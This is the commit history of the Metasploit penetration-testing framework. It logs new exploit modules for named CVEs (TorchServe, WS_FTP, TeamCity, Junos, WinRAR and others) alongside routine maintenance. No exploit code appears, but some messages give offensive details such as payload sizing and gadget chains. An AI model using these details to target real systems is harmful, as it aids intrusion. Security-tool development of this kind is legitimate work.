Compare commits

...

2025 Commits

Author SHA1 Message Date
Jack Heysel d31a485d63 Land #18383, improves enum_computers module
This PR adds a variety of improvements to the
enum_computers module including shell and powershell
support as well as improvements to run on non-english
systems.
2023-10-12 13:01:54 -04:00
Metasploit 2fca548b31 automatic module_metadata_base.json update 2023-10-12 11:42:37 -05:00
adfoster-r7 80d2fa738d Land #18296, update more mysql modules to support newer authentication methods 2023-10-12 17:19:02 +01:00
Metasploit 01ce90ae8a automatic module_metadata_base.json update 2023-10-12 11:04:40 -05:00
Jack Heysel 1719d55c63 Land #18427, Add TorchServer SSRF + RCE module
This PR adds a module that exploits a series of vulns
which leads to RCE on affected TorchServers tagrets. It
also includes updates the the class_loader library.
2023-10-12 11:29:20 -04:00
Spencer McIntyre 86b7ec4518 Address comments from the review 2023-10-12 09:50:19 -04:00
Spencer McIntyre de8e392b7b Only randomize the URI once 2023-10-12 09:50:19 -04:00
Spencer McIntyre 5577413bd9 Add additional classes for payload loading
This fixes the java/shell_reverse_tcp payload
2023-10-12 09:27:26 -04:00
Spencer McIntyre 4f734379d3 Add module docs and print some messages 2023-10-12 09:27:26 -04:00
Spencer McIntyre 0799f9d860 Add a check method and populate module metadata 2023-10-12 09:27:26 -04:00
Spencer McIntyre f712c67441 Support URIPATH in Java::HTTP::ClassLoader
The URIPATH must end with / due to how the package names are requested
from the web server in a nested directory structure. #on_request_uri
also needed to be updated to check for the relative resource.
2023-10-12 09:27:26 -04:00
Spencer McIntyre 7a226ba285 Randomize components in the MAR file 2023-10-12 09:27:26 -04:00
Spencer McIntyre 5a6dc7f9a6 Initial commit of CVE-2023-43654 2023-10-12 09:27:26 -04:00
Rory McKinley 1b172768b4 Use upstream ruby-mysql in Remote::MYSQL
* ... and dependents
2023-10-12 13:08:35 +02:00
cgranleese-r7 3da17d2775 Addresses PR feedback 2023-10-12 10:59:29 +01:00
Jack Heysel 7f4a9c47fc Land #18355, Fixes OpenJDK reflection issue.
This PR updates metasploit-framework side for the
metasploit-payloads fix #672. This PR also includes
metasploit-framework PR #18445 which bumps the
metasploit-payloads gem version to 2.0.156.
2023-10-11 15:26:09 -04:00
Ashley Donaldson 874366588c Update metasploit side for java metasploit-payloads fix 2023-10-11 15:00:19 -04:00
Spencer McIntyre 7f7f106b92 Update metasploit-payloads gem to 2.0.156
Includes changes from:
* rapid7/metasploit-payloads#672
* rapid7/metasploit-payloads#678
2023-10-11 14:05:45 -04:00
adfoster-r7 6c33bf95f1 Land #18411, Fix incorrect scope condition when populating RHOSTS using services command 2023-10-11 13:29:31 +01:00
adfoster-r7 0e62f3c5cd Land #18444, spelling fixes on docs 2023-10-11 13:24:53 +01:00
h00die 7ffc1ca491 undo some spelling fixes when upstream has those issues 2023-10-11 06:30:11 -04:00
bwatters 6af8d3f6e6 Land #18431, Fix how port forwards are listed
Merge branch 'land-18431' into upstream-master
2023-10-10 16:56:11 -05:00
h00die 557a15a115 spelling fixes on docs 2023-10-10 14:46:18 -04:00
adfoster-r7 d427d64f6e Land #18435, wiki spelling fixes 2023-10-10 10:48:44 +01:00
h00die 76f5582a1a artica not artical or article 2023-10-06 19:55:40 -04:00
h00die 15413416a7 wiki spelling fixes 2023-10-06 19:51:39 -04:00
Metasploit b32fe19545 automatic module_metadata_base.json update 2023-10-06 16:55:04 -05:00
Jack Heysel fb834b235a Land #18417, Add Kibana Upgrade Assistant RCE
Kibana before version 7.6.3 suffers from a prototype
pollution bug within the Upgrade Assistant. This PR adds
an exploit module to exploit the bug. There is no CVE
for this issue at the moment.
2023-10-06 17:29:02 -04:00
jheysel-r7 fe9afc94c7 Update documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md 2023-10-06 16:45:52 -04:00
adfoster-r7 f7635b18e2 Land #18433, Remove reline dependency update 2023-10-06 18:13:59 +01:00
adfoster-r7 5e7097197d Remove reline dependency update 2023-10-06 17:56:06 +01:00
adfoster-r7 93fb0dd3b3 Land #18171, Enable using modules when deferred loading is turned on 2023-10-06 17:41:18 +01:00
dwelch-r7 022dca4b10 Land #18432, Update gem dependencies 2023-10-06 16:36:16 +01:00
Dean Welch ef871685af Revert accidental changes 2023-10-06 16:04:38 +01:00
Dean Welch 9eb4385a25 Get stats from the cache instead of from frameworks list of loaded modules 2023-10-06 16:04:38 +01:00
Dean Welch d60993f7e8 Enable using modules when deferred loading is turned on 2023-10-06 16:04:34 +01:00
adfoster-r7 d11f15b9af Update gem dependencies 2023-10-06 15:49:06 +01:00
h00die 931a67d290 kibana telemetry rce rewritten to use fetch payloads 2023-10-06 09:55:10 -04:00
dwelch-r7 9372d9c063 Land #18430, Add pin to rails 7.0.x 2023-10-06 14:49:42 +01:00
adfoster-r7 88c849de74 Add pin to rails 7.0.x 2023-10-06 14:08:57 +01:00
Spencer McIntyre d46e80f17f Fix how port forwards are listed
Fixes #18291
2023-10-06 09:04:28 -04:00
h00die a2a9becc73 convert cmd_stager to fetch payloads 2023-10-06 07:40:17 -04:00
adfoster-r7 f3c105916a Land #18256, general dependency update 2023-10-06 10:27:57 +01:00
bwatters a1304fe1a8 Land #18394, Add documentation for auxiliary/scanner/http/http_traversal module
Merge branch 'land-18394' into upstream-master
2023-10-05 15:18:20 -05:00
h00die 5e0538a239 review comments round 1 2023-10-05 13:12:33 -04:00
Metasploit ec33707381 Bump version of framework to 6.3.38 2023-10-05 12:08:28 -05:00
Simon Janusz faa3dd6b85 Land #18372, Fix error downloading a file from generic shell 2023-10-05 17:47:27 +01:00
cgranleese-r7 dff907b6ca Land #18425, Add history support to nasm and metasm shells 2023-10-05 17:20:31 +01:00
adfoster-r7 1f6009333e Add history support to nasm and metasm shells 2023-10-04 22:36:19 +01:00
bwatters 1ee7f03a2b Land #18420, Update user agent strings
Merge branch 'land-18420' into upstream-master
2023-10-04 14:13:04 -05:00
bwatters 4d369a8e52 Land #18424, Fix documentation for CVE-2023-40044 exploit module.
Merge branch 'land-18424' into upstream-master
2023-10-04 13:58:20 -05:00
bwatters 6cea8f750f Land #18277, Add new doc for writing a command injection exploit module
Merge branch 'land-18277' into upstream-master
2023-10-04 13:54:59 -05:00
bwatters a16379b2a7 Land #17919, Post::Windows::Service: Support start/stop service on shell sessions
Merge branch 'land-17919' into upstream-master
2023-10-04 13:51:25 -05:00
Jack Heysel 81e4f94869 Land #18412, Add a couple tips to metasploit 2023-10-04 13:45:33 -04:00
sfewer-r7 623b589fb5 When I removed the PowerShell target I forgot to update the documentation, this commit updates the documentation to reflect the changes made to the exploit module. 2023-10-04 17:03:28 +01:00
Metasploit 75225d0757 automatic module_metadata_base.json update 2023-10-04 09:37:46 -05:00
Spencer McIntyre 9eb0c336ab Land #18414, Exploit module for CVE-2023-40044
Exploit module for CVE-2023-40044 (WS_FTP unauthenticated RCE)
2023-10-04 10:21:54 -04:00
Adam Robinson 329b4649e4 Approving cortex.yaml
PD-41096 Auto-add cortex.yaml
2023-10-04 12:44:40 +01:00
sfewer-r7 8431d11654 leverage Rex::MIME::Message instead of creating the multipart data manualy 2023-10-04 09:39:25 +01:00
sfewer-r7 ccd8c71ec6 change the payload space to 5000. This allows all the payloads I tested to work but also allows all the 3 gadget chains I tested to work. ClaimsPrincipal and TypeConfuseDelegate will fail if the space is too large. 2023-10-04 09:38:42 +01:00
bwatters 6aeffa5a17 Land #18363, Add support to msfvenom for "-f octal
Merge branch 'land-18363' into upstream-master
2023-10-03 16:21:57 -05:00
sfewer-r7 1be8e0245b remove the powershell target as the powershell command adapter will handle this for us (thanks Spencer). Increate the space to handle the larger powershell command lines. I tested with cmd/windows/powershell/x64/meterpreter/reverse_tcp and the powershell command length was 4404. 2023-10-03 17:48:37 +01:00
Metasploit 5dd2408b5c automatic module_metadata_base.json update 2023-10-03 06:45:57 -05:00
adfoster-r7 14c42fcefc Land #18405, Show errors on inaccessible payload files 2023-10-03 12:22:04 +01:00
sfewer-r7 2eacb75feb Add a reference to the AssetNote blog. Better describe what teh TARGET_URI option is for and why it defaults to /AHT/ 2023-10-03 11:17:21 +01:00
cgranleese-r7 92867ceed8 Land #18347, Update check method docs 2023-10-03 10:09:29 +01:00
cgranleese-r7 87d108aab5 Removes Meterpreter logic 2023-10-03 09:53:02 +01:00
Ashley Donaldson 2deb3a831a Update user agent strings 2023-10-03 11:47:23 +11:00
h00die 88eb44be64 kibana telemetry rce 2023-10-02 16:53:20 -04:00
Spencer McIntyre 3baf867c76 Update lib/msf/ui/tip.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-10-02 16:38:26 -04:00
bwatters 42f6bb8212 Update on feedback from jmartin 2023-10-02 14:29:20 -05:00
Jack Heysel 50e4269c05 Land #18338, Get crackable ASREP hashes
This PR fixes the ASREP roasting workflow and resolves
issue #17988.
2023-10-02 13:26:43 -04:00
sfewer-r7 1695a12c9c Explicitly state both the release name (e.g. 2022.0.2) and the version number (e.g. 8.8.2) in a more consistent way. 2023-10-02 17:40:11 +01:00
Metasploit b078e8e08f automatic module_metadata_base.json update 2023-10-02 10:18:33 -05:00
Jack Heysel 5087e0ffe3 Land #18197, Ldap login scanner module
Adds a new login scanner module for LDAP
2023-10-02 10:56:56 -04:00
sjanusz-r7 e70f356239 Show errors on inaccessible payload files 2023-10-02 14:46:25 +01:00
Simon Irwin 6cefa8f3d2 PD-41096 Auto-add cortex.yaml 2023-10-02 14:13:52 +01:00
Dean Welch 76a25c6937 Don't store creds for successful schannel ldap auth 2023-10-02 13:42:25 +01:00
adfoster-r7 c728671953 Land #18393, Update using metasploit docs 2023-10-02 13:37:54 +01:00
sfewer-r7 53ed4a632b add in exploit module for CVE-2023-40044 - WS_FTP unauthenticated RCE via .NET deserialization. 2023-10-02 11:42:19 +01:00
Metasploit 276b0ca53e automatic module_metadata_base.json update 2023-09-29 11:38:38 -05:00
Christophe De La Fuente 50155e3d94 Land #18389, Juniper Junos OS PHPRC Manipulation RCE (CVE-2023-36845) 2023-09-29 18:05:28 +02:00
Spencer McIntyre 5aee82e35a Add a couple of tips 2023-09-29 11:47:27 -04:00
Jack Heysel 37bc4ca51f Fixed root password resetting 2023-09-29 11:40:03 -04:00
Erik Geiser 49786101f7 Fix incorrect scope condition 2023-09-29 13:51:14 +02:00
Jack Heysel 2928d47312 Merge branch 'junos_phprc_auto_prepend_file' of github.com:jheysel-r7/metasploit-framework into junos_phprc_auto_prepend_file 2023-09-28 14:43:46 -04:00
Jack Heysel 58642c16c9 Changed WebSocket to SSH 2023-09-28 14:41:03 -04:00
jheysel-r7 4fecb4d2e2 Update documentation/modules/exploit/freebsd/http/junos_phprc_auto_prepend_file.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-09-28 14:37:36 -04:00
Metasploit 8de942d9d9 Bump version of framework to 6.3.37 2023-09-28 13:32:45 -05:00
Jack Heysel 3f15de3995 Responded to Christophes suggestions 2023-09-28 14:26:37 -04:00
Metasploit d65db4580f automatic module_metadata_base.json update 2023-09-28 13:17:31 -05:00
Spencer McIntyre 36d8a34d39 Land #18408, JetBrains TeamCity CVE-2023-42793 2023-09-28 14:01:59 -04:00
Spencer McIntyre e7ab983279 Minor code changes
Changes include:
  * Remove the PAYLOAD key which didn't do anything
  * Add the missing payload size constraint
  * Use #retry_until_truthy
2023-09-28 13:19:26 -04:00
sfewer-r7 89940e8b08 use the correct naming convention for normal options. 2023-09-28 16:36:18 +01:00
sfewer-r7 9a6e2dab71 improve the check routine to explicitly look for either a header value or a cookie value that TeamCity is known to set 2023-09-28 16:28:16 +01:00
sfewer-r7 96568bf6d3 typo in comment 2023-09-28 16:05:46 +01:00
sfewer-r7 ad7ff705c7 add in a Linux target 2023-09-28 14:57:02 +01:00
sfewer-r7 fbd5e60cfc add in coverage for CVE-2023-42793. Currently only a Windows target. 2023-09-28 12:31:59 +01:00
Jeffrey Martin 5310d00d85 more general updates for security hygiene
* updates to sshkey adds support for ECDSA
* skips irb update due to added dependencies on psych that has added native build requirements
2023-09-27 15:45:49 -05:00
Jeffrey Martin ef27b6124f general dependency update
* general maintenance update for all gems
* used for security review of current updates
2023-09-27 15:34:03 -05:00
Metasploit d5d2a5207b automatic module_metadata_base.json update 2023-09-27 10:31:47 -05:00
errorxyz 5060bb13a8 Fix docs format in modules/auxiliary/scanner/http/http_traversal 2023-09-27 20:47:31 +05:30
Christophe De La Fuente bc8179e36d Land #18406, Fix pass by reference bug on the module side for windows error exploit 2023-09-27 17:16:20 +02:00
bwatters a4c6b11237 Fix pass by reference bug on the module side 2023-09-27 09:43:32 -05:00
Metasploit cce28a9cbf automatic module_metadata_base.json update 2023-09-27 08:54:43 -05:00
Christophe De La Fuente 1058291af9 Land #18314, Windows Error Reporting RCE (CVE-2023-36874) 2023-09-27 15:25:06 +02:00
Christophe De La Fuente 2c9932b242 Update documentation - Options section 2023-09-27 15:17:04 +02:00
bwatters a929d7b856 Added LICENSE info 2023-09-27 07:54:05 -05:00
Jack Heysel 3eaa4adcb7 rubocop 2023-09-26 18:48:33 -04:00
Jack Heysel 9a1881cbcf jvoisin suggestions 2023-09-26 18:42:14 -04:00
Jack Heysel 09f3a98d13 Finished JAIL_BREAK addition 2023-09-26 16:45:28 -04:00
bwatters 0b84feaf60 updates from code review 2023-09-26 14:03:31 -05:00
Jack Heysel b4539f174d Added JAIL_BREAK option and corresponding methods 2023-09-25 19:03:54 -04:00
adfoster-r7 aa2a8433fe Land #18399, fix multiple spelling mistakes 2023-09-25 10:00:54 +01:00
h00die d64ed33cdf code spell for a bunch of modules 2023-09-24 17:42:00 -04:00
bwatters be731f330e Add error checking and randomize the report directory 2023-09-22 14:43:21 -05:00
cgranleese-r7 9c02331184 Land #18392, Remove raised exception in acceptance tests 2023-09-22 10:41:57 +01:00
Jack Heysel 127f0104d2 Address review comments 2023-09-21 13:36:00 -04:00
errorxyz e6f55d06ec Add documentation for auxiliary/scanner/http_traversal module 2023-09-21 22:59:10 +05:30
Metasploit 0d6aee89dd Bump version of framework to 6.3.36 2023-09-21 12:05:50 -05:00
joev 1b25ae5e14 Add comment explaining UNSUPPORTED_LANGS in spec. 2023-09-21 08:53:26 -06:00
joev 75e9a0a834 Add support for base32/64 comments.
* Explicitly documents lack of support for VB style comments.
2023-09-21 08:50:58 -06:00
adfoster-r7 e84d433dde Update using metasploit docs 2023-09-21 14:53:00 +01:00
adfoster-r7 14ded7aa67 Remove raised exception in acceptance tests 2023-09-21 14:47:06 +01:00
Jack Heysel 12de4dd2c7 Improved request sending and added watchtower ref 2023-09-21 09:45:59 -04:00
cgranleese-r7 6fdcc43530 Removes mixin 2023-09-21 14:35:13 +01:00
Ashley Donaldson a7f2165029 Send default etypes first, and fall back to RC4 if it doesn't require pre-auth 2023-09-21 21:22:25 +10:00
Metasploit a6adf814fe automatic module_metadata_base.json update 2023-09-21 04:45:44 -05:00
Christophe De La Fuente 1e69086d24 Land #18365, TOTOLINK X5000R Wireless GigaBit Router Unauthenticed RCE [CVE-2023-30013] 2023-09-21 11:27:19 +02:00
joev 1d2dde9f81 Add comment support for "octal" format.
* Adds failing test that discovers several additional violations.
2023-09-20 17:24:00 -06:00
h00die-gr3y 6e11f4353b Updates addressing cdelafuente-r7 comments 2023-09-20 22:14:48 +00:00
Jack Heysel da8c020d14 Junos OS SRX and EX PHPRC Manipulation RCE 2023-09-20 16:47:05 -04:00
joev b1606264da Fix incorrect parameter docstring. 2023-09-20 14:30:05 -06:00
joev 91ce4c3d9d Add new spec for Msf::Simple::Payload. 2023-09-20 14:29:47 -06:00
bwatters 03fa034ff5 Actually delete the file I told you to delete 2023-09-20 09:10:51 -05:00
Dean Welch 1609836ea2 Don't store passwords to creds if the password wasn't needed for the auth type 2023-09-20 14:30:06 +01:00
cgranleese-r7 461e661d06 Makes improvement to enum_computers module 2023-09-20 12:50:39 +01:00
Simon Janusz 1ef030df76 Land #18380, Fix broken test suite when running in small console window 2023-09-20 11:03:57 +01:00
Metasploit 2722067108 automatic module_metadata_base.json update 2023-09-20 04:18:57 -05:00
cgranleese-r7 37b506c238 Land #18374, fix related modules references 2023-09-20 10:03:47 +01:00
bwatters b4a1bb8fa2 Add docs and support for shell sessions; update exe to work without runtime lib. 2023-09-19 17:50:18 -05:00
Metasploit 4065d01c7d automatic module_metadata_base.json update 2023-09-19 03:50:09 -05:00
Christophe De La Fuente 525c957af2 Land #18333, Lexmark Device Embedded Web Server RCE (CVE-2023-26068) 2023-09-19 10:32:59 +02:00
Metasploit d594a5f5a0 automatic module_metadata_base.json update 2023-09-18 17:16:38 -05:00
bwatters bfa876c3a1 Land #18283, Apache Airflow 1.10.10 - Example DAG Remote Code Execution
CVE-2020-11978 + CVE-2020-13927

Merge branch 'land-18283' into upstream-master
2023-09-18 17:00:19 -05:00
Metasploit 3646c91d7f automatic module_metadata_base.json update 2023-09-18 16:14:39 -05:00
adfoster-r7 4dd18d814e Land #18377, add support for HELO to smtp_relay auxiliary module in case EHLO is not supported 2023-09-18 21:59:24 +01:00
ErikWynter e5c922619b use res for check response code instead of res.inspect 2023-09-18 19:33:07 +03:00
adfoster-r7 d71883f55a Fix broken test suite when running in small console window 2023-09-18 16:40:47 +01:00
ErikWynter 75d2d20a04 check response code instead of text for downgrade to HELO 2023-09-18 17:25:04 +03:00
dwelch-r7 0fc88a8050 Land #18378, Remove left behind debug logging from prometheus exporter 2023-09-18 14:01:27 +01:00
adfoster-r7 8172f30204 Remove left behind debug logging from prometheus exporter 2023-09-18 13:47:36 +01:00
Metasploit 4a1ebe1a56 automatic module_metadata_base.json update 2023-09-18 07:20:12 -05:00
dwelch-r7 c1a44c8b7f Land #18359, Forge ticket fix 2023-09-18 13:05:25 +01:00
h00die 8d79d5afbd fix references 2023-09-18 06:56:18 -04:00
Metasploit ea3b8e91d9 automatic module_metadata_base.json update 2023-09-18 05:07:06 -05:00
cgranleese-r7 23dc1a487d Land #18321, Add Ivanti Avalanche MDM Buffer Overflow Exploit (CVE-2023-32560) 2023-09-18 10:43:45 +01:00
cgranleese-r7 2ed8b93e11 Land #18370, Fix msfrpc hanging when updating saved command history 2023-09-18 10:38:45 +01:00
ErikWynter 47bb57a1fe add support for HELO in case EHLO is not supported 2023-09-18 12:31:13 +03:00
Ismail Dawoodjee f9cdfef304 Move module and documentation from multi/http to linux/http
* Update documentation scenarios for Docker on Debian 10 and Kali Linux 6.4
* Slightly modify the documentation scenario for Docker on Windows 10
2023-09-17 22:42:26 +08:00
h00die dd947d49cc fix related modules references 2023-09-15 16:42:03 -04:00
h00die cd183194fd fix related modules references 2023-09-15 16:40:22 -04:00
h00die 13e7f6cc27 fix related modules references 2023-09-15 16:35:55 -04:00
joev 1d51514730 Add spec for format without comment support. 2023-09-15 12:35:45 -06:00
Ismail Dawoodjee d12b1778e5 Merge branch 'rapid7:master' into apache_airflow_dag_rce 2023-09-15 22:06:43 +08:00
Simon Janusz 1378bfbfc7 Land #18294, pick up netifaces updates, improve error catching 2023-09-15 13:04:26 +01:00
adfoster-r7 a60e048e78 Fix msfrpc hanging when updating saved command history 2023-09-15 12:42:40 +01:00
Dean Welch 09c757513f Correct Msf::ValidationError namespacing 2023-09-15 12:23:49 +01:00
cgranleese-r7 ba9f879f64 Land #18369, Fix opt address local crash when ipaddr is nil 2023-09-15 11:09:43 +01:00
Carmix 1efb3f733f solves #18371 2023-09-15 11:36:15 +02:00
Metasploit 85cf00e68c automatic module_metadata_base.json update 2023-09-14 18:26:16 -05:00
Jack Heysel 46832abd49 Land #18358, Add a Thrift RPC client
This PR adds a Thrift RPC client and updates
two modules to make use of the new addition.
2023-09-14 19:01:13 -04:00
adfoster-r7 871e1f401b Fix OptAddressLocal crash when IPAddr is nil 2023-09-14 23:10:20 +01:00
Spencer McIntyre 0368b23af9 Add some basic specs for the client too 2023-09-14 17:45:09 -04:00
Spencer McIntyre bf9ef45c45 Add some specs for thrift data types 2023-09-14 17:16:32 -04:00
adfoster-r7 c558dae400 Land #18361, Adds new search keywords to msfconsole 2023-09-14 19:48:41 +01:00
h00die-gr3y 21cab0eccd updated documentation 2023-09-14 18:38:34 +00:00
h00die-gr3y 784f3118f0 third release module and documentation 2023-09-14 17:59:59 +00:00
Metasploit 126e6b6e7a Bump version of framework to 6.3.35 2023-09-14 12:10:09 -05:00
Ege Balcı cf4757a6cb Update installation steps. 2023-09-14 18:51:48 +02:00
Ege Balcı 9fbfe63b2f Update documentation/modules/exploit/windows/misc/ivanti_avalanche_mdm_bof.md
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2023-09-14 16:39:15 +00:00
adfoster-r7 1b29c48193 Land #18362, Fix msfrpc hanging forever if rsock pair doesnt connect 2023-09-14 15:56:58 +01:00
h00die-gr3y 094685fa93 second release module 2023-09-14 13:12:33 +00:00
Metasploit c4396f2c6f automatic module_metadata_base.json update 2023-09-14 04:33:31 -05:00
Simon Janusz 8b56dc0117 Land #18250, CVE-2023-28252: Windows CLFS Driver Privilege Escalation 2023-09-14 10:18:29 +01:00
h00die-gr3y 4bb465bcee initial release module 2023-09-13 20:59:53 +00:00
joev 0b73e4ca7a Add support to msfvenom for "-f octal". 2023-09-13 12:17:22 -06:00
adfoster-r7 bc2fdba422 Fix msfrpc hanging forever if rsock pair doesnt connect 2023-09-13 17:41:00 +01:00
Ismail Dawoodjee 930063fe91 Merge branch 'rapid7:master' into apache_airflow_dag_rce 2023-09-13 23:51:47 +08:00
cgranleese-r7 4bff7ddea1 Adds new search keywords to msfconsole 2023-09-13 16:41:05 +01:00
cgranleese-r7 814484cd29 Land #18357, Add additional error reporting to integration tests 2023-09-13 15:02:57 +01:00
Metasploit 95b882bb7c automatic module_metadata_base.json update 2023-09-13 04:30:49 -05:00
cgranleese-r7 e82bff37e1 Land #18330, Ivanti Sentry MICSLogService Auth Bypass resulting in RCE (CVE-2023-38035) 2023-09-13 10:15:59 +01:00
Ismail Dawoodjee 008701f431 Apply suggestions from code review
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-09-13 15:04:52 +08:00
Ashley Donaldson 5c93b3880a Don't add extra PACs for silver tickets 2023-09-13 15:41:09 +10:00
Ashley Donaldson 483e8175ca Update unit tests 2023-09-13 14:11:18 +10:00
Ismail Dawoodjee 78684dce8d Merge branch 'rapid7:master' into apache_airflow_dag_rce 2023-09-13 09:43:35 +08:00
Metasploit 6a84cc8a57 automatic module_metadata_base.json update 2023-09-12 18:27:42 -05:00
Spencer McIntyre 28c4902f4a Land #18180, Flask unsign library, related modules
Apache Supserset Priv Esc (CVE-2023-27524) and Flask unsign Library
2023-09-12 19:02:30 -04:00
adfoster-r7 30e66c43a4 Land #18343, add support for configurable DNS resolver to metasploit-framework 2023-09-12 22:56:37 +01:00
Spencer McIntyre c1cabdf099 Process escape sequences in the wordlist 2023-09-12 16:49:38 -04:00
Jack Heysel b83a49e573 Thanks to Spencer improved execute_command method 2023-09-12 15:14:10 -04:00
Spencer McIntyre 887740032c Add some lib docs 2023-09-12 14:00:34 -04:00
adfoster-r7 e070ba28da Add additional error reporting to integration tests 2023-09-12 17:32:18 +01:00
Spencer McIntyre 8e8b8ad191 Update nimbus_gettopologyhistory_cmd_exec 2023-09-12 12:21:10 -04:00
Spencer McIntyre 187cca848e Replace the binray blobs 2023-09-12 12:21:10 -04:00
Spencer McIntyre 2370171d5f Add more thrift types and methods for creating them 2023-09-12 12:21:03 -04:00
Dean Welch 5713b74cd4 Use constants for LDAP::Auth conditional 2023-09-12 14:41:58 +01:00
Ashley Donaldson 6b8fe05865 Add new PAC types required by DCs for accepting TGTs as valid 2023-09-12 17:19:10 +10:00
h00die 325910b080 update LICENSE with flask wordlist 2023-09-11 15:18:16 -04:00
Spencer McIntyre ba84c0484c Update the Nimbus module to use the Thrift client 2023-09-11 14:42:54 -04:00
Spencer McIntyre fbf95ecd92 Add and use a Thrift client object 2023-09-11 14:37:38 -04:00
h00die 94657d317b another round of review comments 2023-09-11 14:29:20 -04:00
Zach Goldman a13d45ec2d add unit test 2023-09-11 12:14:26 -05:00
Zach Goldman 615aa8dff5 pick up netifaces updates, improve error catching 2023-09-11 12:12:27 -05:00
Jack Heysel e105a56bda Merge branch 'clfs-driver-priv-esc' of github.com:jheysel-r7/metasploit-framework into clfs-driver-priv-esc 2023-09-11 13:11:59 -04:00
Jack Heysel b80f9a84e4 Updated check method and reliability 2023-09-11 13:10:57 -04:00
Dean Welch 586f27f44a Fix issue with username generation always adding domain 2023-09-11 16:35:31 +01:00
Dean Welch 1af852b240 Add remote ldap specs 2023-09-11 16:33:01 +01:00
Dean Welch 7a06ad8d5d Add ldap login scanner specs 2023-09-11 16:33:01 +01:00
Dean Welch 80757fc717 Add missing require 2023-09-11 16:33:01 +01:00
Dean Welch fc89c9939a Add LDAP login scanner 2023-09-11 16:33:01 +01:00
Dean Welch 8f013d7aef Add ldap login scanner module 2023-09-11 16:33:01 +01:00
Simon Janusz 0fcba5ee17 Land #17970, Fix #17969 Assign empty hash to variable status 2023-09-11 16:12:23 +01:00
cgranleese-r7 5ea6340f7e Land #18356, Update docker dependency versions 2023-09-11 16:11:37 +01:00
h00die 2ed001ced2 light review changes 2023-09-11 10:33:43 -04:00
h00die 235c142274 Merge remote-tracking branch 'origin/flask_unsign' into flask_unsign 2023-09-11 10:27:00 -04:00
Simon Janusz d91a9638fc Use empty hash instead of nil for nessus status 2023-09-11 15:20:18 +01:00
adfoster-r7 7aa54c5907 Update docker depdendency versions 2023-09-11 15:15:52 +01:00
cgranleese-r7 041bd3edc3 Land #18349, Add Meterpreter compatibility matrix generation 2023-09-11 12:24:58 +01:00
adfoster-r7 901938c0f1 Add Meterpreter compatibility matrix generation 2023-09-11 12:04:18 +01:00
cgranleese-r7 1e8866f8bd Land #18354, Show the tip while MSF is loading 2023-09-11 11:50:53 +01:00
h00die 15c6f0d9d3 Merge pull request #24 from zeroSteiner/h00die/flask_unsign
H00die/flask unsign
2023-09-08 20:18:12 -04:00
Metasploit 5a9eca74e6 automatic module_metadata_base.json update 2023-09-08 16:32:40 -05:00
Spencer McIntyre f1aea836f3 Land #18273, Add VMware vRealize Log Insight RCE
Add VMware vRealize Log Insight unauthenticated RCE exploit
2023-09-08 17:17:23 -04:00
Spencer McIntyre 21dde19511 Make some final tweaks
Change strings to reference `VMware` using the proper case. Don't
include CmdStager (because it's unnecessary). Set PrependFork to fix
shell payloads. Move CamelCase options to advanced.
2023-09-08 16:55:42 -04:00
Metasploit c7477ad786 automatic module_metadata_base.json update 2023-09-08 13:17:02 -05:00
bwatters fdae4953eb Land #18290, Prometheus API & Prometheus Node Exporter Interrogator
Merge branch 'land-18290' into upstream-master
2023-09-08 12:55:30 -05:00
Jack Heysel 96a6baa500 Land #17474, Add Windows 11 support for Capcom LPE
This PR adds support to the Capcom.sys LPE for Windows 11 21H1
2023-09-08 13:43:07 -04:00
jheysel-r7 0111e55006 Update modules/exploits/windows/local/capcom_sys_exec.rb 2023-09-08 13:05:44 -04:00
Metasploit fee5cc0497 automatic module_metadata_base.json update 2023-09-08 11:25:50 -05:00
Simon Janusz 5e8d00914f Land #18327, fix #18326 (ssl_version module bug when selecting specific ssl version) 2023-09-08 17:11:07 +01:00
Metasploit 6f6a4795f3 automatic module_metadata_base.json update 2023-09-08 11:06:04 -05:00
Simon Janusz 57f3b8a352 Land #18350, Add opentsdb_key_cmd_injection exploit module and docs 2023-09-08 16:50:46 +01:00
Spencer McIntyre 11c09b9f27 Show the tip while MSF is loading
Give the users something to read while things are loading instead of
waiting until everything is ready to go.
2023-09-08 11:33:29 -04:00
Simon Janusz 18103b032d Add docs for opentsdb_key_cmd_injection 2023-09-08 16:08:18 +01:00
Spencer McIntyre 40716cb28b Make the separator configurable 2023-09-08 08:56:45 -04:00
Metasploit 6e1753d435 automatic module_metadata_base.json update 2023-09-08 06:05:09 -05:00
Simon Janusz 7302394ffa Land #18316, Kibana Timelion Prototype Pollution RCE (CVE-2019-7609) 2023-09-08 11:50:47 +01:00
Simon Janusz fb4a7186a5 Land #18262, Makes some adjustments to the favorites command 2023-09-08 11:34:08 +01:00
Metasploit f6320cfd33 automatic module_metadata_base.json update 2023-09-08 05:11:37 -05:00
Christophe De La Fuente a33f03d100 Land #18302, Sonicwall rce CVE-2023-34124 2023-09-08 11:48:07 +02:00
Simon Janusz 740f026cbf Land #18270, Improve tab completion for set command 2023-09-08 10:08:39 +01:00
Metasploit 4b5335e3c6 automatic module_metadata_base.json update 2023-09-07 16:15:09 -05:00
bwatters 946794c3f8 Land #18341, add CVE-2023-38831 for Winrar 6.22
Merge branch 'land-18341' into upstream-master
2023-09-07 15:59:36 -05:00
Metasploit 3ebd27b93f automatic module_metadata_base.json update 2023-09-07 15:45:23 -05:00
Jack Heysel ef4a9dd239 Land #18329, Add LG Simple Editor RCE module
This PR adds an unauth RCE module for LG Simple Editor
2023-09-07 16:21:10 -04:00
Spencer McIntyre 6afde75c59 Print the connection string 2023-09-07 16:20:03 -04:00
Spencer McIntyre 2ded62a783 Update the module with validation functionality 2023-09-07 16:20:03 -04:00
Spencer McIntyre 143e1c82b5 Add validation functionality to FlaskUnsign 2023-09-07 16:19:58 -04:00
xaitax adae68d288 Update winrar_cve_2023_38831.rb 2023-09-07 22:01:49 +02:00
Alex 4d2277faa3 Update modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-09-07 21:46:24 +02:00
Alex 51d80b626f Update modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-09-07 21:46:16 +02:00
Alex 8b40f56fd7 Update modules/exploits/windows/fileformat/winrar_cve_2023_38831.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
